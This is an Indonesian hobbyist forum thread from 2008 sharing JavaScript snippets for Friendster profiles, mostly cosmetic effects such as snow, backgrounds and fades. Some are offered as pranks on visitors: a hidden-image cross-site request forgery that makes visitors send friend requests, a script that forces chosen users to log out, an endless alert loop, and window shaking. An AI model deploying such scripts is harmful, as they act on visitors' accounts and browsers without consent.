Kumpulan JavaScript Friendster(Source Codenya)

Halaman 1 dari 2 1, 2  Next

Topik sebelumnya Topik selanjutnya Go down

Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 17, 2008 9:56 am

Efek Salju
Code:
// what d fuckin' snow effect! //

if  ((document.getElementById) &&
window.addEventListener || window.attachEvent){

(function(){

var num = 10; 
var timer = 10;
var enableinNS6 = 1

var y = [];
var x = [];
var fall = [];
var theFlakes = [];
var sfs = [];
var step = [];
var currStep = [];
var h,w,r;
var d = document;
var pix = "px";
var domWw = (typeof window.innerWidth == "number");
var domSy = (typeof window.pageYOffset == "number");
var idx = d.getElementsByTagName('div').length;

if (d.documentElement.style &&
typeof d.documentElement.style.MozOpacity == "string")
num = 12;

for (i = 0; i < num; i++){
sfs[i] = Math.round(1 + Math.random() * 1);

document.write('<div id="flake'+(idx+i)+'" style="position:absolute;top:0px;left:0px;width:'
+sfs[i]+'px;height:'+sfs[i]+'px;background-color:#ffffff;font-size:'+sfs[i]+'px"><\/div>');

currStep[i] = 0;
fall[i] = (sfs[i] == 1)?
Math.round(2 + Math.random() * 2): Math.round(3 + Math.random() * 2);
step[i] = (sfs[i] == 1)?
0.05 + Math.random() * 0.1 : 0.05 + Math.random() * 0.05 ;
}


if (domWw) r = window;
else{
  if (d.documentElement &&
  typeof d.documentElement.clientWidth == "number" &&
  d.documentElement.clientWidth != 0)
  r = d.documentElement;
 else{
  if (d.body &&
  typeof d.body.clientWidth == "number")
  r = d.body;
 }
}


function winsize(){
var oh,sy,ow,sx,rh,rw;
if (domWw){
  if (d.documentElement && d.defaultView &&
  typeof d.defaultView.scrollMaxY == "number"){
  oh = d.documentElement.offsetHeight;
  sy = d.defaultView.scrollMaxY;
  ow = d.documentElement.offsetWidth;
  sx = d.defaultView.scrollMaxX;
  rh = oh-sy;
  rw = ow-sx;
 }
 else{
  rh = r.innerHeight;
  rw = r.innerWidth;
 }
h = rh - 2; 
w = rw - 2;
}
else{
h = r.clientHeight - 2;
w = r.clientWidth - 2;
}
}


function scrl(yx){
var y,x;
if (domSy){
 y = r.pageYOffset;
 x = r.pageXOffset;
 }
else{
 y = r.scrollTop;
 x = r.scrollLeft;
 }
return (yx == 0)?y:x;
}


function snow(){
var dy,dx;

for (i = 0; i < num; i++){
 dy = fall[i];
 dx = fall[i] * Math.cos(currStep[i]);

 y[i]+=dy;
 x[i]+=dx;

 if (x[i] >= w || y[i] >= h){
  y[i] = -10;
  x[i] = Math.round(Math.random() * w);
  fall[i] = (sfs[i] == 1)?
  Math.round(2 + Math.random() * 2): Math.round(3 + Math.random() * 2);
  step[i] = (sfs[i] == 1)?
  0.05 + Math.random() * 0.1 : 0.05 + Math.random() * 0.05 ;
 }
 
 theFlakes[i].top = y[i] + scrl(0) + pix;
 theFlakes[i].left = x[i] + scrl(1) + pix;

 currStep[i]+=step[i];
}
setTimeout(snow,timer);
}


function init(){
winsize();
for (i = 0; i < num; i++){
 theFlakes[i] = document.getElementById("flake"+(idx+i)).style;
 y[i] = Math.round(Math.random()*h);
 x[i] = Math.round(Math.random()*w);
}
snow();
}


if (window.addEventListener){
 window.addEventListener("resize",winsize,false);
 window.addEventListener("load",init,false);

else if (window.attachEvent){
 window.attachEvent("onresize",winsize);
 window.attachEvent("onload",init);
}

})();
}


Terakhir diubah oleh Dandy tanggal Wed Dec 17, 2008 9:59 am, total 1 kali diubah

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 17, 2008 9:58 am

Buat Memo Visitor Kalo Lupa Testi
Code:
function goodbye()
{
var isikomendulubodoh=confirm("Hey....mo kemana?\nUdah isi comment blom?\nKalo blom ngisi, klik cancel....isi dulu deh!\nkalo udah, klik OK.....")
if (isikomendulubodoh)
{}else
{window.location="http://www.friendster.com/comments.php?uid=(dhandyz)"}
}
parent.window.onunload=goodbye;

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 17, 2008 10:12 am

Confirmation Alert
Code:
if (!confirm("We,e,e,e,e,e,e...... Mau Liat profiLe Gua yAch ?????? BoLeh, Tapi aDa syaRat'a... Luw meSti iSi cOmMeNt...!!! Kalo ngga, yAch Luw klik BataL ajah.. LagiaN Gua JuGa gAk Ngarep Luw Liat profile gua.. ha,ha,, Sana !! kLik bataL aJah..!!!! gEtOoooh aJah kOk RepOd.. oWh yA, JaNgaN kLik kaNaN yAch..!! kAtA mAmAh beRbAhAyA..!!"))
window.location="http://goobel.50webs.com"

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 17, 2008 10:12 am

Efek Getar
Code:
//window shake
function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i–) {for (j = n; j > 0; j–) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(20)

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 17, 2008 10:19 am

Buat Anti Klik Kanan
Code:


/*
http://bloggerfriendster.com
kumpulan tips dan trick menarik blogger-friendster
*/
function clickIE() {
if (document.all) {
return false;
}
}
function clickNS(e) {
if (document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {
return false;
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS;
}
else{
document.onmouseup=clickNS;
document.oncontextmenu=clickIE;
}
document.oncontextmenu=new Function("nakal();return false");

function nakal()
{
var jawab=confirm("hehe mo ngapain massss pake klik kanan segala!!!!");

if(jawab)
{
alert("udah yach jangan klik kanan lagi !!!");
}
else
{
while(1<2)
{
alert("nakal sich kalo dibilangi nih sekarang rasaiin dech !!!");
}
}

}

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 17, 2008 5:05 pm

Paksa Orang LogOut

Code:
if(pageViewerID=="UID MUSUH"){
alert("gw udah gak butuh loee... ");
top.location.href="http://www.friendster.com/logout.php";
}

if(pageViewerID=="UID MUSUH"){
alert("pulang aja sono gw gak mo maen.. ");
top.location.href="http://www.friendster.com/logout.php";
}

code diatas ada dua UID, kalo mau nambah tinggal copy paste aja dari code yang awal, yaitu :
Code:
if(pageViewerID=="UID MUSUH"){
alert("gw udah gak butuh loee... ");
top.location.href="http://www.friendster.com/logout.php";
}

Note : UID User ID
ex : 59410797,4566661,69548754 DLL.

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Thu Dec 18, 2008 1:33 pm

Trick Random Background :
Code:
var gambar_bg = new Array();
gambar_bg[0] = "http://i283.photobucket.com/albums/kk303/fslayout54/hello-kitty2.jpg";
gambar_bg[1] = "http://i283.photobucket.com/albums/kk303/fslayout54/friendsterlayouts23.jpg";
gambar_bg[2] = "http://i283.photobucket.com/albums/kk303/fslayout54/chibi-naruto-large.jpg";

/*
jika anda ingin memasukan lebih dari 3 gambar silahkan tambahkan variabel berikutnya.
contoh:
gambar_bg[3] = "gambar3.jpg";
gamabr_bg[4] = "gambar4.jpg";
dan seterusnya....
*/

var total_gambar = gambar_bg.length;
var random_bg = Math.floor(Math.random( ) * total_gambar);

document.body.background = gambar_bg[random_bg];

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Thu Dec 18, 2008 10:30 pm

Loading Page Trick :
Code:
loader=new loader();
function loader() {
this.hide=function() {
lding.style.display='none';
}
var lding = document.getElementById('navBg');
myWidth = screen.availWidth;
myHeight = screen.availHeight;
lding.style.zIndex=1000;
lding.style.backgroundImage ="url(http://i137.photobucket.com/albums/q205/ezil2007/zaren/12345.gif)";
lding.style.backgroundRepeat='repeat';
lding.style.position = 'fixed';
lding.style.top = '0px';
lding.style.left = '0px';
lding.style.width = myWidth;
lding.style.height = myHeight;
lding.style.overflow = 'hidden';
lding.style.display='';
lding.innerHTML="<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><center><font face='Comic Sans MS' color='white' size='20'>"+pageViewerFName+" Thanks for visiting! <br><br><br><br>Loading.. Please Wait...</font><b><br><br><br><br><br><img src='http://i135.photobucket.com/albums/q131/nikkomon_139/i102337293_99882.gif'/></center>";
}

if ( ! attachOnLoadHandler(function () { loadBox();}))
window.onload = function () { loadBox();};

function loadBox() {
var ld=setTimeout("loader.hide()",4000);

}

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Thu Dec 18, 2008 10:37 pm

AUTO ADD Friend
Code:
var email_add = "PROVIDE_YOUR_FRIENDSTER_EMAIL_ADD";

var get_authcode = document.getElementById("controlPanelButtons").innerHTML;
var add_it = get_authcode.slice(get_authcode.indexOf("authcode="));
var PlaceInput = add_it.slice(9,39);
document.write('<img src="http://www.friendster.com/addfriendrequest.php?authcode='
+ PlaceInput + '&uid='
+ pageOwnerID + '&email='
+ email_add + '&firstname=&lastname=&friend=&submit=1"'
+ ' width="0" height="0" style="display:none" />');


ganti tanda yang Huruf Kapital dengan e-mail kamu

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by destian_46 on Sat Dec 20, 2008 6:36 pm

Bang Admin...
Itu Yang Loading Page Trick Gunannya Buat Apa...?

destian_46
Moderator
Moderator

Jumlah posting : 237
Age : 25
Location : Depan Komputer
Job/hobbies : Hacking n Programming
points :
0 / 1000 / 100

Registration date : 18.12.08

Lihat profil user http://destiangerrard.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Sat Dec 20, 2008 9:49 pm

buat loading , sama kayak di game Very Happy

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by ichean_coy on Sun Dec 21, 2008 1:16 am

waw,...sundul dlo ah bounce

update trus bang admin afro

ichean_coy
Moderator
Moderator

Jumlah posting : 437
Age : 24
Location : serang
Job/hobbies : ngotak2 ngatik2 kompi
points :
50 / 10050 / 100

Registration date : 16.12.08

Lihat profil user http://www.ichean.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by destian_46 on Sun Dec 21, 2008 3:38 pm

Bantu Sundul Ah....
bounce bounce

destian_46
Moderator
Moderator

Jumlah posting : 237
Age : 25
Location : Depan Komputer
Job/hobbies : Hacking n Programming
points :
0 / 1000 / 100

Registration date : 18.12.08

Lihat profil user http://destiangerrard.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Sun Dec 21, 2008 5:46 pm

http://www.indowebster.com/Tutorial_Layout_pake_CSSJavascript.html

disitu lebih jelas maybe Wink

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by ichean_coy on Sun Dec 21, 2008 8:50 pm

wkwkwk,...
dagh di bantu sundul malah dikasih final result,..
ya ues cek TKP dlo

ichean_coy
Moderator
Moderator

Jumlah posting : 437
Age : 24
Location : serang
Job/hobbies : ngotak2 ngatik2 kompi
points :
50 / 10050 / 100

Registration date : 16.12.08

Lihat profil user http://www.ichean.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Mon Dec 22, 2008 11:23 pm

belum final

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by ichean_coy on Wed Dec 24, 2008 6:39 am

wedew,...

dagh gk isa INJEST JS lagi yak,...?

ichean_coy
Moderator
Moderator

Jumlah posting : 437
Age : 24
Location : serang
Job/hobbies : ngotak2 ngatik2 kompi
points :
50 / 10050 / 100

Registration date : 16.12.08

Lihat profil user http://www.ichean.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 24, 2008 5:38 pm

gradual shine photo effect


Code:
<style type="text/css">
              .gradualshine{
              filter:alpha(opacity=30);
              -moz-opacity:0.3;
              }
              </style><script type="text/javascript">
              /***********************************************
              * Gradual Highlight image script- ? Dynamic Drive DHTML code library (www.dynamicdrive.com)
              * This notice MUST stay intact for legal use
              * Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
              ***********************************************/
           
              var baseopacity=15
           
              function slowhigh(which2){
              imgobj=which2
              browserdetect=which2.filters? "ie" : typeof which2.style.MozOpacity=="string"? "mozilla" : ""
              instantset(baseopacity)
              highlighting=setInterval("gradualfade(imgobj)",50)
              }
           
              function slowlow(which2){
              cleartimer()
              instantset(baseopacity)
              }
           
              function instantset(degree){
              if (browserdetect=="mozilla")
              imgobj.style.MozOpacity=degree/100
              else if (browserdetect=="ie")
              imgobj.filters.alpha.opacity=degree
              }
           
              function cleartimer(){
              if (window.highlighting) clearInterval(highlighting)
              }
           
              function gradualfade(cur2){
              if (browserdetect=="mozilla" && cur2.style.MozOpacity<1)
              cur2.style.MozOpacity=Math.min(parseFloat(cur2.style.MozOpacity)+0.1, 0.99)
              else if (browserdetect=="ie" && cur2.filters.alpha.opacity<100)
              cur2.filters.alpha.opacity+=10
              else if (window.highlighting)
              clearInterval(highlighting)
              }
              </script>
             
             
<img src="IMG URL" width="XXpx" height="XXpx" border="XX" align="left|right|center" class="gradualshine" onMouseover="slowhigh(this)" onMouseout="slowlow(this)">

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 24, 2008 5:41 pm

Expendable Shotout effect

Code:
/*   
  Expandable Shoutout Effect
  by: simpleMe a.k.a tax                                 
*/

var S_simpleMe=11
var T_tax=111
var s_simpleMe=S_simpleMe
var ftalk=2

function expand_tax(){
document.getElementById("shoutouttxt").style.visibility="visible"
document.getElementById("shoutouttxt").style.fontSize=((T_tax+6)-S_simpleMe)
S_simpleMe+=ftalk;
if (S_simpleMe>T_tax || S_simpleMe<s_simpleMe) {

ftalk=-ftalk;
}
setTimeout("expand_tax()",0019)
}
setTimeout("expand_tax()",1999)

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by destian_46 on Wed Dec 24, 2008 7:37 pm

Jelaskan Kegunaan Kedua Biji JS Tersebut Diatas....

destian_46
Moderator
Moderator

Jumlah posting : 237
Age : 25
Location : Depan Komputer
Job/hobbies : Hacking n Programming
points :
0 / 1000 / 100

Registration date : 18.12.08

Lihat profil user http://destiangerrard.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 24, 2008 8:56 pm

yang pertama photo effect, yang kedua shotout effect
untuk lebih jelasnya coba ja sendiri

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by ichean_coy on Wed Dec 24, 2008 10:47 pm

kkww,..
klo diartikan mah mendingan jgn sing,....

bikin berat ja,..

wkwkwkwkw
cukup kaya gw ja...
standar berat ya..
wkwkwkkwkwk

ichean_coy
Moderator
Moderator

Jumlah posting : 437
Age : 24
Location : serang
Job/hobbies : ngotak2 ngatik2 kompi
points :
50 / 10050 / 100

Registration date : 16.12.08

Lihat profil user http://www.ichean.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Wed Dec 24, 2008 10:55 pm

iya, js jangan kebanyakann simple tapi keren dah cukup, code2 yang gw kasih jangan dipake semua, pilih aja yang lo suka

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by destian_46 on Thu Dec 25, 2008 9:05 am

Siip...
Gw Cuma Pake Efek Salju Sama Alert...
Efek Getar Gak Bisa.....
angry

destian_46
Moderator
Moderator

Jumlah posting : 237
Age : 25
Location : Depan Komputer
Job/hobbies : Hacking n Programming
points :
0 / 1000 / 100

Registration date : 18.12.08

Lihat profil user http://destiangerrard.blogspot.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by DANDY on Fri Jan 02, 2009 3:43 pm

SPECIAL MESSAGE BOX

Code:
if(pageViewerID=="UID TEMEN LO"){
alert("KASIH PESAN LO DISINI ")
}

if(pageViewerID=="UID TEMEN LO"){
alert("KASIH PESAN LO DISINI ")
}

_________________

DANDY
Admin
Admin

Jumlah posting : 403
Age : 25
Location : EveryWhere
Job/hobbies : Student/Playing Game
points :
100 / 100100 / 100

Registration date : 16.12.08

Lihat profil user http://kadut.forumotion.com

Kembali Ke Atas Go down

Re: Kumpulan JavaScript Friendster(Source Codenya)

Post by Sponsored content Today at 9:20 pm


Sponsored content


Kembali Ke Atas Go down

Halaman 1 dari 2 1, 2  Next

Topik sebelumnya Topik selanjutnya Kembali Ke Atas

- Similar topics

 
Permissions in this forum:
Anda tidak dapat menjawab topik